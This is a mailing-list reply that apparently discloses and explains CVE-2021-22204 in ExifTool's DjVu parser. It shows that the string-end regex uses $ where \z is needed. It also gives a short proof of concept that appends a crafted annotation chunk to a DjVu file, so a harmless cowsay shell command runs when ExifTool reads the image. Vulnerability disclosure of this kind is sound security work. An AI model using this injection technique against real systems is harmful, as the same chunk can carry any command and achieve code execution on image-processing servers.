Re: [CVE-2021-22204] ExifTool - Arbitrary code execution in the DjVu module when parsing a malicious image

[Jakub Wilk <jwilk () jwilk net>]

* William Bowling <will () wbowling info>, 2021-05-09, 14:32:
> ExifTool 7.44 to 12.23 has a bug in the DjVu module which allows for 
> arbitrary code execution when parsing malicious images.

Using eval() to parse C-like strings is undoubtedly a terrible idea, but 
the code does attempt to neutralize the input, and it wasn't immediately 
obvious to me where the bug is. It turns out the way it determines where 
the string ends is incorrect:

   # we're good unless quote was escaped by odd number of backslashes
   last unless $tok =~ /(\\+)$/ and length($1) & 0x01;

But $ doesn't match only the end of the string; it matches also before 
the trailing newline. You need \z if you want only the former. (But of 
course in this case ditching eval(), rather than fine-tuning the regex, 
was the right course of action.)

Proof of concept:

  $ printf 'P1 1 1 0' > moo.pbm
  $ cjb2 moo.pbm moo.djvu
  $ printf 'ANTa\0\0\0\40"(xmp(\\\n".qx(cowsay pwned>&2);#"' >> moo.djvu
  $ exiftool moo.djvu > /dev/null
   _______
  < pwned >
   -------
          \   ^__^
           \  (oo)\_______
              (__)\       )\/\
                  ||----w |
                  ||     ||

--
Jakub Wilk